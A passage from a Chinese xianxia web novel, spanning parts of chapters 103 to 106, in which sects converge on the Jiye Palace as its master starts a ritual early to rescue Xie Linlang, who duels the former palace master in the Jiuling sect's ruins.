后来天凌宗、玄命派等仙门正宗弟子陆续赶来九夏山帮忙，九夏山自身的修士也缓了过来, 他们重新选出了一位元婴修士暂代掌门，开始清理不断向外溢出的火山之水。 沈鹤作为寂夜宫的魔修，他不方便也不敢在这么多仙门正宗的弟子面前乱晃。 万一哪个真界修士脑子别了根筋，指着他说要除魔卫道，那沈鹤就太冤了。 好在高淳秋醒了过来。 沈鹤的养魂瓶品质不错，高淳秋虽然还有些萎靡，可他的修行经验比沈鹤强太多了，沈鹤大概说了当时的现场情况。 比如他的师兄谢玉被闻净焱扔进了未知的地方，比如一只黑色大鸟冲下来掀翻了大夏釜，再比如黑鸟和巨人大战三百回合，将整个九夏山的山头都砸秃了…… 高淳秋听得一愣一愣的。 他仔细询问了黑鸟的造型和样子后，迟疑着说：“那巨大的玄鸟恐怕是寂夜宫主。” 沈鹤听后很高兴：“真的？宫主居然亲自跟着我们来了，那谢师兄应该不会有事了吧？” 高淳秋又沉默了，他迟疑良久才道：“沈鹤，你再和我说说你以前的身世。” 沈鹤欣然将自己一直和爷爷相依为命的事说了一遍，他还说了自己在张思则的幻境里看到的情形。 “张思则的母亲应该与我有亲缘关系。” 沈鹤叹了口气，尽管谢琳琅提醒沈鹤，张思则的年龄与沈鹤对不上。 可是沈鹤就是有种感觉，那个将死的女子所说的话都是真的，以及那个意外出生的孩子很可能是他的长辈。 高淳秋听后长出一口气。 “原来如此，你说的没错，那就是我母亲当年留下的卵，那个孩子因当时局势艰难而被提前取了出来，本来……若我和母亲再返回去，可以给那孩子补充足够的灵力和营养，那孩子必然可以顺利长大并出生。” 然而高淳秋母子再找过去时，那户人家已然因水患离开了。 之后高淳秋的母亲去世，高淳秋又在天凌宗内潜修，自此彻底失去了那孩子的消息。 “由于极度缺乏成长养料，又可能感受到了危机，那孩子体内的妖族血脉被激活了，这才开始吞噬血食。” 高淳秋扼腕不已，感受到了深深的痛心，“那孩子因鲜血而诞生，之后恐怕会堕入邪修，若是再被路过的修士发现，必然会死无葬身之地……” 沈鹤宽慰高淳秋道：“等宫内的事情结束了，我们一起去寻找吧，那也许是我的长辈，也是你的血亲，我们的存在证明了他或者她的存在，也许能找到一些踪迹，也许当年那个孩子还活着？” 高淳秋听后心中大慰，他感慨道：“你爷爷将你教得很好，若有机会，我必要当面向他表示感谢。” 沈鹤闻言摸了摸鼻子，又是骄傲又是心酸：“是啊，爷爷一直对我很好。” 高淳秋又道：“有件事，我觉得你有资格知道。” 他叹了口气，“寂夜宫主可能也是我们的亲戚。” 沈鹤：“什么？” 高淳秋将当年秋家的事情托盘而出，又说了裴霁本是九夏山修士，因九灵宗之故成了寂夜宫主等等。 沈鹤的嘴巴逐渐张大，他的脑子瞬间烧干了。 如果他没记错，在山腹深处，他那位玉佩师尊和闻净焱互相叱骂对峙时，玉佩师尊好像自爆了身份，就是之前陨落的九夏山修士琳琅道君啊！ 谢琳琅的师兄叫什么来着？好像就是裴霁？ 闻净焱还说自己研究什么生死轮回的阵法，和谢琳琅思念着裴霁的举动是一样的…… 天啊，若是裴霁没有死，那他的玉佩师尊情何以堪？ 再等等，若是裴霁死了，玉佩师尊岂不更难过？ 但沈鹤心底又升起了另一种异样的感觉。 如果裴霁是他的血亲长辈，那作为裴霁道侣的谢琳琅就是他的亲人了！ 谢琳琅不仅是他的师尊，还是他的血亲长辈，这种事想想做梦都会笑醒啊！ 沈鹤以前曾梦想过自己的家人找上门，但每次梦醒后，除了爷爷外再无他人。 如今他的亲人像是被打包处理一样一个个冒出来，沈鹤一会纠结一会高兴，只觉得脑子都要打结了，阿巴阿巴了半天都没反应过来。 高淳秋觉得奇怪，“怎么了？” 也许是一起经历了生死，也许是之前高淳秋宁愿自爆也要让沈鹤离开，沈鹤对高淳秋有着不低的信任度。 考虑到高淳秋现在只是个养魂瓶里的随身老爷爷，不会带来什么危害，沈鹤秉着请高淳秋帮忙分析思考的心态，犹豫着将谢琳琅的身份说了出来。 沈鹤没有说谢琳琅是他的师尊，只说了闻净焱和谢琳琅对骂的细节。 “什么？谢琳琅没死？” 高淳秋恍然大悟，“怪不得他要拆了九夏山的山头，因为谢琳琅身死道消，裴霁反而恨上了原来的宗门吗？” 沈鹤：“……啊？为什么这么说？” “你刚开始修行，不知道琳琅道君的威名。” 高淳秋作为天凌宗的弟子，还曾远远见过来天凌宗进行丹道交流的谢琳琅，“那可是光风霁月、温和宽厚的人，性子极好，只要有人向他讨教丹道，他大多都知无不言言无不尽。” “他还炼制了很多普通人也能吃的丹药，比如用来熬过荒年的荒丹等等，他救治了很多普通人，所有人都说他得天道眷顾，积蓄了很多功德，肯定能顺利渡过天劫，从化神进阶渡劫期。” 高淳秋低声对沈鹤八卦，“但这样一个有德的、几乎没和人交恶过的修士，却死在了化神后期的天劫之下，当然我们都知道渡劫这种事全看老天爷，可也不少人在心里嘀咕。” 沈鹤倒吸一口冷气，想到闻净焱和谢琳琅争吵时吐露的九夏山内部权力斗争，得出了一个顺理成章的推论：“所以琳琅道君渡劫失败，是九夏山做了什么？” “谁知道呢？以前我也这么认为。” 高淳秋幽幽地说：“但现在不一定了，谢琳琅的确积蓄了深厚的功德，得天道眷顾，可他所爱的另一个人裴霁却深陷魔宫，我觉得谢琳琅纯粹被裴霁连累了！” 这个被裴寂夜狠狠削了一顿的前天凌宗高徒忿忿道：“不管谢琳琅怎么做好事、怎么积累功德，有裴霁这个赔钱货，谢琳琅下次渡劫还是会被劈死！” 沈鹤一听顿时急了。 “裴宫主怎么会连累谢师兄呢？谢师兄那么好的人，岂不是太倒霉了？” 沈鹤和裴霁没什么直接联系，也并不知道自己之前见过的神经病杀马特鸟儿就是裴霁，但他非常关心谢琳琅。 高淳秋：“不管你想做什么，先找到谢玉、也就是谢琳琅再说吧，他曾是九夏山修士，即便山腹炸开了，想必他也有办法脱身。” 沈鹤：“那我们去哪里找谢师兄？” 高淳秋思虑再三，还是道：“我不确定谢琳琅会在哪里，但我知道裴霁一定在寂夜宫，而守着裴霁，你总能见到谢琳琅。” “可是现在界门关闭了，我不可能立刻回到寂夜宫。” “问题不大，真界和魔域有不少宗门都关系深厚，即便界门关闭了，各大宗门也有自己的手段前往魔域。” 高淳秋由提醒沈鹤：“寂夜宫其他修士呢？金翎真人呢？他们肯定有办法返回寂夜宫。” 沈鹤老实回答：“金翎真人说要带着弟子去梦华仙门等待界门打开后再回去。” 高淳秋一哂：“傻孩子，这都是明面上的说辞，你去梦华仙门和金翎真人汇合吧，不要再乱跑了，梦华仙门的姚黄仙子转投了寂夜宫，梦华仙门会帮你们返回魔域的。” 沈鹤这才怀揣着一颗忧虑的心，启程前往梦华仙门。 半路上，他在高淳秋的指引下，去了九灵宗。 九灵宗早已被裴寂夜毁掉，原来宗门之地变成了一片废墟。 之后沈鹤又去了一趟早年秋家聚居的城镇。 只可惜秋家早已是过眼云烟，城镇依旧繁华，却再无秋家的痕迹。 沈鹤和高淳秋看着曾经属于秋家的宅院被分成好几个单独院落，时不时有普通人出入，心情微妙而复杂。 “走吧，人世变幻，如过眼云烟。” 高淳秋叹息着，“等一切事情结束了，你愿意随我去妖族定居吗？” 沈鹤轻声回答：“我得先送走我爷爷。”顿了顿，少年莞尔一笑，“对了，还要先帮你重塑真身。” 他脚步轻快，马尾一翘一翘地离开了。 “放心吧，这种事我很熟练的！” 与此同时，梦华仙门，金翎真人看着手里的帖子，不可思议地说：“卫景营疯了？他居然要召集真界修士，集体前往寂夜宫？” 梦华仙门的魏紫仙子脸色苍白，语气悠然：“那也要你们寂夜宫先解释一下，为什么要提前举行仪式，提前开启寂夜长吟？” 出身梦华仙门，如今成了寂夜宫魔修的姚黄仙子一锤定音：“因为他们俩都疯了。” 第104章 第 104 章 “一场大战在所难免啊…… 姚黄仙子一句他们俩都疯了, 让金翎真人和师妹魏紫仙子都有些绷不住。 魏紫仙子此前在九夏山被神微真人偷袭，身上还有伤，气息柔弱, 结果刚回宗门没多久, 就接到了天凌宗送来的文书, 顿时烦躁起来。 “你们寂夜宫到底怎么回事啊？” 魏紫仙子真心不想响应天凌宗的号召, 但是寂夜宫也太不干人事了。 “什么叫做功德利滚利、次贷甚至三级贷啊？你们向天道和后辈弟子赊欠了这么多功德和气运, 你们怎么敢啊？你们就没想过后辈会还不上, 导致一次性债务出清，最后将整个大陆都牵扯进去帮你们还债吗？” 天凌宗详细将寂夜宫干的破事广而告之，魏紫仙子看完寂夜宫的修行模式后整个人都震惊了，她是真的没想到还能这么修行！ 姚黄仙子淡定地说：“反正只要不在我们这一代暴雷, 那又怎么样？” 金翎真人打个哈哈：“差不多是这样, 再说了, 只要有一个人飞升成仙，仙人总会有办法解决后辈债务的, 对不对？” 魏紫仙子冷冷地说：“但现在要暴雷了！你们寂夜宫提前举行仪式, 开启寂夜长吟，但按照姐姐所言，你们寂夜宫根本没有做好相关准备，肯定无法扛过上古海妖的冲击, 到时候天道清算, 不仅仅是上古海族大妖冲击大陆的问题，还可能因为寂夜宫的连带债务问题, 将真界各个宗门牵扯进去！” 不说别人，姚黄仙子转投寂夜宫成了魔修，寂夜宫的债务必然有她一份。 而魏紫仙子和姚黄仙子是师姐妹, 两人关系亲厚一起长大，姚黄救过魏紫，魏紫也为姚黄承担过宗门罪责，姐妹二人互相亏欠，早已分不清了。 寂夜宫的债务顺着这个关系，不仅会落在魏紫仙子头上，还会将梦华仙门牵连进去。 真界和魔域有不少宗门都是盟约关系，拔出萝卜带出泥，整个真界都会被寂夜宫拉入泥潭之中，这也是天凌宗发了文书后，诸多宗门都跟着响应的原因之一。 一方面卫景营在九夏山的表现还算亮眼，也主动站出来对抗成周遗脉——至于他为什么会站出来，以及怎么活下来的就不用提了——另一方面也是因为寂夜宫的这个巨大屎盆子一旦炸开，大家谁都别想跑，真界数一数二的宗门全都榜上有名，会被溅一脸。 “按照宫内以往文书记载，寂夜长吟一般会开启大约一个月左右。” 金翎真人眼神闪烁，“为了获得足够的资源，宗门掌握着延长寂夜长吟的秘法，当然也有提前关闭的手法。” 姚黄仙子点点头：“寂夜宫针对寂夜长吟进行了万余年的研究，寂夜长吟本质上是上古海域和如今魔域南海之地重叠，产生的一种特殊时空错位。” 魏紫仙子坐直身体，仿佛明白了什么。 “时空错位？那如果消弭这种错位，寂夜长吟就会提前结束了？” “没错，改变海域的磁场、回转整片大海的海域水纹和洋流流动，甚至改变地脉魔力的漩涡方向，甚至采取更加狠厉的措施，诸如大肆杀戮汲取灵魂之力，满足那些上古海族对血食的渴求，都能快速平息寂夜长吟。” 姚黄仙子手中把玩着一把开满黄色姚黄牡丹花色的团扇，慢条斯理地说：“只要消弭了时空错位，快速平息寂夜长吟，寂夜宫就倒不了，自然也不可能暴雷破产，这个烂摊子就可以继续传下去。” 魏紫仙子有些无语：“姐姐，你们这法子治标不治本，早晚有一天，这套修行方法还是会被天道清算的。” 姚黄仙子漫不经心地说：“那就与我无关了。” 金翎真人皱着眉头放下天凌宗发来的文书：“所以重点从来都不是寂夜长吟，而是为什么宫主要在此刻举行仪式，提前开启寂夜长吟？这不是正好与卫宗主的召集令撞上吗？” “男人，呵，所以我才说他们两个都在发疯。” 姚黄仙子手指微微用力，团扇的扇柄咔嚓一声碎裂了，她面如寒霜，冷漠地说：“无所谓了，我正好借此机会和卫景营解决过去的恩怨。” 魏紫仙子忧虑地看着姚黄仙子，轻轻握住姚黄仙子的手腕：“姐姐……” 金翎真人神色微妙地看了一眼姚黄仙子，清了清嗓子说：“其、其实如果单看他们俩人的行动，也许会是另一种可能？” 他拿手指敲了敲面前的文书，面色古怪：“比如卫宗主担忧宫主，这才绞尽脑汁地想了这么个主意，专门集合了真界强大的门派修士，赶在寂夜长吟前夕抵达寂夜宫，帮助宫主抵御即将到来的恶战？” 姚黄仙子呕了一声，差点吐出来。 魏紫仙子的脸色扭曲不已，连声道：“别说这种恶心的话，这绝不可能！” 金翎真人耸肩：“所以，你们梦华仙门怎么看？要去吗？” 魏紫仙子烦躁地说：“去啊，当然要去，总要确定姐姐不会受到寂夜宫牵累，保住宗门气运不被牵连啊！” “那想必有很多仙门正宗都是你这样的想法了。” 金翎真人有点好奇，“但我们要怎么回魔域？天凌宗不是已经提前关闭了界门吗？” 魏紫仙子冷着脸说：“这是卫宗主需要考虑的事了。” 事实上天凌宗敢于发布这样的诏令，自然有进入魔域的办法。 “直接走九灵宗当初和寂夜宫联合开挖的密道，出去就是寂夜宫的势力范围，都不需要再从界门赶路去寂夜宫了。” 天凌宗将这条从张思则那获知的密道广而告之，发给了真界各大宗门，号召大家以最快速度赶往寂夜宫，阻拦寂夜宫开启的仪式，尽量推迟寂夜长吟的发动时间。 金翎真人非常震惊，他怎么不知道寂夜宫还和九灵宗有这么个密道。 “虽然宗门典籍里也说，以前和九灵宗关系极好，但后来宫主突然发狂，将九灵宗覆灭了……” 金翎真人突然觉得寂夜宫深处那些潜修的宗门前辈们的面容过于模糊了，那些化神啊渡劫啊的前辈们，真的不知道有这么一条通道吗？ 姚黄仙子垂眸不语，她自然知道，现在寂夜宫的裴寂夜可不是当初的培风，虽然称呼都一样，是裴（培）宫主，可是人已经不是过去那个人了。 魏紫仙子召集宗门高层开会，最终组建了一只大概十余人的队伍，实力最强的为渡劫期的长老，最弱的也有元婴期。 “姐姐，我们能搭乘你们寂夜宫的宝船吗？” 魏紫仙子自然携带了梦华仙门的宝船，可寂夜宫也有宝船，能白嫖为什么要浪费？ 更何况他们此行是为了给寂夜宫收拾烂摊子啊。 姚黄仙子也没有为裴寂夜省钱的想法。 “行，我和金翎说一声，你们一起来吧。” 沈鹤赶得很及时，在寂夜宫和梦华仙门的宝船即将启程时，他终于来到了梦华仙门，搭乘了这趟末班车，回归了魔域。 他还在宝船上见到了此前没看到的洪奎和钱师兄，顿时颇为欣喜。 “两位师兄安然无恙，真是太好了。”沈鹤拉着洪奎的袖子问，“你们见到谢师兄了吗？” 洪奎和钱师兄都摇头，洪奎宽慰沈鹤：“放心吧，谢师兄来自夕死门，那个宗门的修士都擅长隐蔽藏身，尤其擅长躲避灾厄，他不会有事的。” 高淳秋忍不住传音问沈鹤：“谢琳琅怎么又成夕死门修士了？” 沈鹤是真的不知道：“我也不清楚。” 密道位于地下，大陆上层被界门隔断，但地下的古老河道却还相连着。 顺着幽蓝深邃的古老河道缓缓向前，周围弥漫着的灵力和魔力混淆在一起，恍惚间竟有些上古混沌灵力肆虐大陆的感觉。 河道昏暗无光，宝船安静地从中通过，隐隐能感受到漆黑的光影里藏匿着未知存在，时不时都会有种被注视的感觉。 魏紫仙子从未走过这条古老河道，她忍不住问姚黄仙子：“河道深处是什么？” 古老河道交错纵横，仿佛是与大陆截然不同的另一个世界，时光在此停滞，上古那些光怪陆离的幻象还会在此出没。 “不知道。” 姚黄仙子轻声道：“寂夜宫也很少走这条路，据说只有寂夜宫主和九灵宗主才敢走这条路，他们身上有宗门功德和气运庇护。” 魏紫仙子微微蹙眉：“那我们贸然走这条路……” “无妨，卫景营既然敢召集大家走这条路，只能说明他们天凌宗已经走过了。” 姚黄仙子眼中闪过一丝复杂之色。 卫景营那人道貌岸然，惯会装模作样，只要可以提升天凌宗的影响力和威势，他都会去做。 而召集诸多宗门修士抵达寂夜宫，以阻止寂夜宫举行寂夜长吟的仪式，这件事能给天凌宗带来绝大好处和威名，卫景营如此爱护宗门名声，倒不会在这种事上做手脚。 他不要脸，却又在某些时候很要脸。 姚黄仙子捂着自己的胸口，只觉得一股无处发泄的怒火在沸腾翻滚着。 她恨得不彻底，更无法彻底地去恨，若非转魔修，她早已走火入魔、身死道消了。 但让她认命吗？ 绝不。 宝船继续向前，他们甚至半路上碰到了其他宗门的代步工具，遂合流在一处。 渐渐不断有修士汇聚起来，人数越来越多。 几个宗门互相通气，询问召集大家的天凌宗呢？他们的宗主和人手呢？ 难道天凌宗自己当胆小鬼，让其他宗门当炮灰？不至于吧？ 好在玄命派的修士用占卜的手段确认了天凌宗主的位置。 “他已经抵达了寂夜宫。” 眼睛上缠着黑色布条的青年叹息道：“一场大战在所难免啊。” 第105章 第 105 章 他要怎么才能将谢琳琅…… 海浪涛涛。 南海上空乌云密布, 低沉的云几乎要与海面贴在一起。 上古时代的天地弥漫着混沌之力，不适合人族生存。 而现在上古的海域即将要与寂夜宫所在位置的时空逐渐重合，寂夜长吟即将开始。 海风带来了危险、潮湿和晦涩的气息, 空气里弥漫着的魔气正在进行微妙的变化, 隐隐有一些混沌灵力的感觉。 天地异变, 自然会生出异象。 寂夜宫势力范围内, 河水改道、大地震动, 飞鸟走兽都陷入了莫名惊慌之中, 居住在附近的普通人也有种沉甸甸的感觉，那是人先天的本能在发出警告：天地大劫即将爆发，赶紧跑。 寂夜宫也早就对周边的坊市、城镇和村落发出了文书，至于那些人是否离开就不在寂夜宫的考虑范围内了。 此刻整个寂夜宫已经大变模样, 一个个回字形的嵌套宫殿变成了一个个可移动的堡垒, 每个堡垒顶部的瓦片全部摊平铺开, 连接成了一个个对战平台，高低错落不平的平台上, 站着诸多寂夜宫的修士。 他们三五人结为一个小队, 或者以师承为纽带，互相掩护帮衬，形成了一道道严密的防线。 而距离海面最近的寂夜宫最高的山门大殿则直接和下方断开了，山门大殿变成了一个悬浮平台, 此刻正飘在海岸线边沿。 以山门为屏障, 大殿前的地面上密密麻麻架设了魔晶构成的阵法核心，这些核心通过每个平台上刻录的符文牢牢链接在一起, 形成了一个立体的三维对战平台网络。 而山门飘浮起来后，下方的通道则升起了一个巨大的炮台，炮台上共有六个联排炮管, 覆盖了左中右三个方向的进攻通道。 裴寂夜站在海面平台上，他一身黑色长袍，长发自然垂在脑后，发梢处仿佛燃烧着幽绿色火焰，鲜红的眼眸注视着遥远的海天交接的地方，仿佛在发呆。 就在此时，他身后突然出现一道影子，是林郁。 “全都准备好了。”林郁长出一口气，“除了在真界那一批，寂夜宫这一百年的弟子都到位了，宫内潜修的前辈们也都到位了。” 裴寂夜没有开口，他上前一步，抬手掐了个法诀。 寂夜宫山门大殿前的空地上，缓缓升起了一个漆黑色的八卦形态的晶体。 晶体上雕刻着无数上古海族大妖的真身形态，甚至晶体内部还禁锢着一些上古大妖的血液、骨粉和琥珀化的妖族躯壳。 裴寂夜深吸一口气，体内魔气激荡，双手手腕佩戴的增幅魔气的紫色环形玉镯浮现了漆黑色的阵法纹路。 他轻声道：“诸位弟子听令。” 随着裴寂夜发话，整个寂夜宫其他平台上的弟子全都遥遥看向了海面最前方位置，同时各自小型平台上也都浮现了一个八卦形的晶体虚影。 寂夜宫弟子按照早前分配好的位置和输入灵力顺序，做好了准备。 这是独属于寂夜宫每一百年一次的豪赌。 赢了，所有宫内弟子都能得到天大的海量资源，未来一百年的修行所需全都能在这场大战中获得。 但如果输了，整个寂夜宫将一把□□赔光，集体去地府报道。 虽然这一次的寂夜长吟要提前十年左右开启，但既然宫内前辈们早早回来了，宫主做出了这个决定，而宗门长辈也没有反对，那就只能硬着头皮上了。 反正若是失败了，从宫主到宗门长辈，大家一个都跑不了，全都会死。 有这么个前提在，尽管提前开启仪式似乎不太好，可最终宫内弟子的情绪还算稳定。 听了林郁的汇报，裴寂夜点点头，他深吸一口气，正要说开始，突然眼前的海面出现了巨大的旋涡！ 眨眼间这海水漩涡螺旋打开，将几乎要变成黑色的海水倒卷上天，漆黑厚重的云随之而来，眨眼间竟形成了一个巨大的龙吸水！ 裴寂夜皱眉，他稍微辨认了两眼，继而冷笑起来。 “是天凌宗的混沌风船，怪不得空气里一股混沌灵力的味道，我还以为上古时空不用我召唤就降临了呢。” 林郁有些不理解：“为什么天凌宗一个劲来找我们的麻烦？是担心寂夜宫无法抵挡上古海妖的侵蚀和冲击吗？” 裴寂夜略一沉吟就做出决定：“不理他，咱们继续。” 林郁低声道：“可若是他们天凌宗请出了镇派神器噬天剑，直接斩断上古时空与我们这里的链接，那我们……” “他斩不断的。” 裴寂夜打断了林郁的担忧，他语气淡淡，“寂夜宫和这片土地倒欠了老天爷多少功德、因果和罪孽，你不会想知道的，若是天凌宗愿意用宗门万余年的功德帮寂夜宫还债，以此切断时空链接，那我们也不吃亏。” 裴寂夜所在的寂夜宫山门大殿作为整个宫殿的控制核心，他和林郁的对话几乎能通过黑色八卦晶体同步传达到寂夜宫的每个角落、每个平台。 裴寂夜这么说，一方面是想稳定寂夜宫修士的信心，另一方面也在掩盖自己的算盘。 他开启积聚魔气的仪式可不是为了与上古魔域重合。 他提前开启寂夜长吟，是为了打开上古坟场，将谢琳琅接出来！！ 有商君在，裴寂夜可以精准定位到商君冢，就是不知道谢琳琅位于那个时空的上古坟场了，是妖魔之地？还是九鼎河道？ 若是去了距离商君时代比较久远的诸神之战，那就麻烦了，需要寻找很久。 裴寂夜有些头疼，实在不行，他的意识操纵法身直接进入上古坟场去找谢琳琅，将商君留在这里主持阵法。 至于寂夜长吟里那铺天盖地的上古海妖冲击要怎么办…… 额，商君作为妖族和人族的协商者，天然具备一种特殊的亲和力。 只要他想，那些上古海妖就会将商君当做同族的。 死道友必死贫道，裴寂夜不在乎寂夜宫死多少人，只要在找到谢琳琅之前，他自己没死就行了。 就在裴寂夜和林郁交谈之间，眼前巨大的龙吸水逐渐扩大，那蜂拥倒卷的水流形成了一个巨大的水幕。 水幕之中，一艘宝船若隐若现，正是天凌宗的混沌风船。 风船最前端站着一个白衣修士，他头戴玉冠，身披深色长帛，腰悬一柄通体银白的佩剑。 只是看一眼，就有种灵魂被震慑刺穿的错觉。 噬天剑，哈，卫景营居然真的请出了天凌宗的镇派神器！ ……其实也能理解，毕竟寂夜宫出岔子了，哪怕天凌宗已经封闭了界门，以寂夜宫为起点的债务清算和因果倒挂还是席卷整个大陆。 这玩意儿可不是界门能阻隔切断的。 裴寂夜瞟了一眼巨大的风船，就收回了视线。 以他为中心，一道道紫黑色的魔气开始升腾起来，几乎瞬间形成了一个类似迷雾般的阵法。 黑紫色雾气在寂夜宫上空流转、扭曲继而形成了一条如水蛇般的长龙。 那长龙身上浮现了细腻的鳞片，继而长龙头上长出了骨刺一样的角，紧接着长龙后背出现了乌龟壳一样的壳子，甚至长龙身周出现了一道道类似海草的幽影。 无数上古海妖的形象开始在长龙身上浮现，裴寂夜面前的八卦形黑色晶体仿佛被敲响了一样，普通人听不到的低频音波猛地振荡出去。 嗡—— 一瞬间，整片大海起伏不定的波浪像是被无形的手强行拉平，如龙吟般的声音穿透了每个修士的护身屏障。 这一声长吟，仿佛向天地宣告，寂夜宫做好迎战准备了！ “该死的，裴霁居然强行发动仪式！” 卫景营站在风船最前端，他本以为裴寂夜看到风船的到来，会有所顾忌，甚至会停下来和他们进行一番沟通。 哪想到裴寂夜压根不理会他，直接强行发动了，简直将他们当做空气！ 卫景营身后站着两个仙风道骨的修士，他们一人穿黑袍一人穿白袍。 两人是噬天剑的护剑人，每次天凌宗请出神器时，护剑人都必须随行，要保证噬天剑怎么出来的、再怎么安全地返回天凌宗。 卫景营深吸一口气，他在九夏山的计划完全走样，但最后结果是好的，他和天凌宗的名声都更上一层楼，甚至这次他发出召集令，几乎所有仙道正宗都响应了！ 就连刚遭到火山之水覆盖的九夏山，也派遣了一位元婴期的修士凑数。 自己的自尊受挫不算什么，自己有了心魔也没关系，只要将裴霁和寂夜宫绑定，彻底摧毁寂夜宫，就能打败裴霁，消弭这个心魔了！ 卫景营如此坚信着。 他大声道：“请凌天仙！” 下一秒，他腰间那银白色的佩剑嗡一声如长虹贯日般嗖一下活了过来，轻盈飘浮在了卫景营身前。 当年天凌宗主开派祖师凌天仙人留下的佩剑散发出了古朴滂湃的杀意，即便还未挥动，那凌厉的剑锋周围就已然隐隐流露出了细微的黑色时空裂缝。 卫景营的脸白得过分，甚至变成了透明色，他咬着牙催动体内灵力，哪怕经脉反噬也在所不惜。 “仙人一剑，天人两隔！” 伴随着卫景营的竭力嘶吼，那银白色长剑瞬间拉长，仿佛化为了一根通天贯地的细细白线，白线散发着刺目的光，以无可违抗之势强行向前推进。 而在这道攻击最前方的正是寂夜宫的山门大殿，以及站在山门前空地上、操纵整个寂夜宫阵法中枢的裴寂夜。 裴寂夜冷笑，他轻声道：“商君。” 一声古朴悠然的叹息响起，裴寂夜的眼眸从鲜红色变成了灿然的金色竖瞳。 这双眼睛似乎穿透了时空，注视到了飘荡在缝隙里的商君冢，那个他无法安息的埋骨之地。 “伏惟神灵鉴之，万物生灵当共享此世，永结同心。” 洁白而朦胧的玉璧幻影浮现在裴霁身前，天地齐喑，只有那象征着万物可商的同心玉璧散发着万丈光芒，仿佛上古黑暗野蛮时代的一缕智慧之光。 金色的玉璧和白色的线轰然撞击在一起，一瞬间，整个世界都仿佛失去了声音，巨浪滔天、乌云坠落，无数漆黑色的时空裂缝无序扩张开来，就好像一道道蜘蛛纹裂开了一样。 狂风卷着浪花和雨水扑向裴寂夜，他却全然不在乎，将维持阵法核心的工作交给了商君，自己则焦急地寻找着这些众多裂开的时空裂缝。 在哪里？到底那一道是上古坟场的大门？ 谢琳琅到底在哪里？他要如何找到所爱之人？ 他要怎么才能将谢琳琅带回人世间？ 琳琅啊~ 第106章 第 106 章 只能说尊重祝福千万别…… 眼前是一个个漂浮在混沌虚空的废墟平台。 进入此地后, 灵力和魔气都失去了作用，空气中弥漫着浓郁的混沌之力，理论上是不会有修士在此逗留的。 但此刻这寂静的空间里不仅有修士, 他们还在追逐争斗中。 培风老儿沿着长长的廊道撒丫子向前狂奔。 刚开始他没在意, 但跑着跑着觉得不对, 怎么体内的魔气运转速度越来越慢？周围的雾气越来越浓郁？这到底是哪里？ 最初培风老儿想要利用谢琳琅当祭品, 打开回到大陆的通道。 仪式举行了, 祭品也上桌了, 虽然培风老儿自己也成了祭品，但不管怎么说，门应该已经被打开了。 但谢琳琅狡猾地将培风老儿禁锢在原地，导致门虽然打开了, 却始终没人离开。 直到谢琳琅向天祭告, 安抚了上古坟场内游荡不息的白骨怨灵, 谢琳琅和培风老儿这才同时挣脱了祭品的身份。 上古坟场商君冢打开了门，谢琳琅、培风老儿以及琉月得以顺遂离开。 只是培风老儿以为他们会回到大陆, 可实际上他们落入了此前裴寂夜将九灵宗山门打入的废弃之地。 谢琳琅第一眼就通过墙壁上裴霁留下的剑痕认出了这里, 这也是他懒得去追逐培风老儿、任由自己沉浸在愤懑难过的情绪里的原因之一。 这里只许进不许出，培风老儿跑不掉。 谢琳琅在商君残念的帮助下重新恢复了过去的实力，以他的眼力自然一眼看出琉月使用的还是一具法身。 琉月这具法身即便损毁，他的本体也能知道发生了什么。 也才有了谢琳琅的请求, 希望琉月帮忙传话, 告诉裴霁，你在人间, 我很欢喜。 但对于琉月来说，整件事就是离大谱了。 他觉得谢琳琅完全不可理喻，不仅不听人话, 还自顾自地做出决定，简直脑子有病！ 可是考虑到裴霁的精神状态，好像谢琳琅这种病病的样子倒是和裴霁挺般配的。 只能说尊重祝福千万别分手吧。 ……前提是谢琳琅活生生地站在裴霁面前，而不是让自己帮忙传话。 琉月痛苦地想。 他急速前进着，直到站在廊道的尽头。 他看着前方高高低低错落的废墟平台，一言难尽地看着谢琳琅和培风老儿在斗法。 培风老儿不愧是活了很多年的寂夜宫前任宫主，也不知道他怎么做到的，背后居然生出了两只翅膀，凭借着巨大羽翼不断在诸多废墟平台上飞行着。 而谢琳琅手持七星剑，脚踩北斗七星阵，不断向四面八方甩出绳索，凭借着绳索前段的类似流星锤的法器，死死咬住那些废墟平台。 谢琳琅的身体不断在平台上下来回翻飞，蓝色长剑如流光般不断闪烁飞舞着，和培风老儿斗了个不相上下。 他们虽在平台上死斗，但整体是向着前方巨大废墟建筑群转移的。 琉月手搭凉棚定睛看去，发现远处废墟群似乎很宽阔，距离最近的疑似山门大殿。 大殿前有个坑坑洼洼的广场，广场边缘还竖立着一块巨大的石碑。 那是被散发着黑紫色的魔气，气焰滔天，在这无尽混沌罡风之中屹立不倒，尽显魔气主人的强悍和执念。 琉月仔细辨认那石碑上的字迹，表情逐渐古怪起来。 “九灵宗……等等，天啊，难道这里是九灵宗曾经的山门？” 培风老儿也认出了九灵宗的山门，他作为前任寂夜宫主，自然来过九灵宗。 当他直接落在九灵宗上门前的平台上，看到裴霁打入的巨大镇压石碑时，他脸色恨恨的。 “偌大九灵宗，居然让裴霁小儿覆灭了，真是太菜了！” 谢琳琅打出一道藕索，轻盈落下，他神色恹恹的，语气很轻。 “是啊，你也被他关在商君冢。” “若非我将你弄出来，你还在不断进入时间缝隙中，陪着那些上古怨灵演戏呢。” 他厌恶地瞥培风老儿，“忘恩负义、不知感恩的无耻之徒，比九灵宗还菜的你有什么资格嫌弃九灵宗？” 谢琳琅的话刻薄而尖酸，培风老儿狞笑道：“小子，老夫现在就送你上路！” “那你跑什么？一直夺路而逃的人是你不是我。” 谢琳琅冷笑，身前七颗星辰以玄妙的轨迹不断流转，“我还要提醒你，师兄将九灵宗废弃山门打入混沌之地，这里只能进，不能出。” 培风老儿脸色铁青，他刚从商君冢冲出来，怎么又进入什么混沌之地了？ “为什么？从上古坟场出来后应该会回到大陆……” “因为这里曾是九灵宗进入上古坟场的通道，那边通道上还残留着师兄留下的剑痕。” 说到这里，谢琳琅纵然脸色苍白，神情低落，却也止不住地露出心疼的神色。 “当时师兄还要应付九灵宗的追杀，他得多绝望难过啊。” 培风老儿几乎要崩溃了，神经病啊！ 但老头毕竟是前任寂夜宫主，身负万年债务，又在上古坟场里坚持了这么多年，心性坚硬如铁。 “老夫不信！肯定有出口！” “有出口你也走不了，因为我会干掉你。” 两人一边互相叱骂一边激烈交换着招式，等琉月艰难地从廊道断口一个个跳过平台跑到九灵宗建筑群时，那山门前的广场已经快要被谢琳琅和培风老儿掀飞了。 琉月连滚带爬，避开了四处飞溅的碎石和招式余波，窜到了裴霁打在广场上的镇压巨石后，小心翼翼地探头看去。 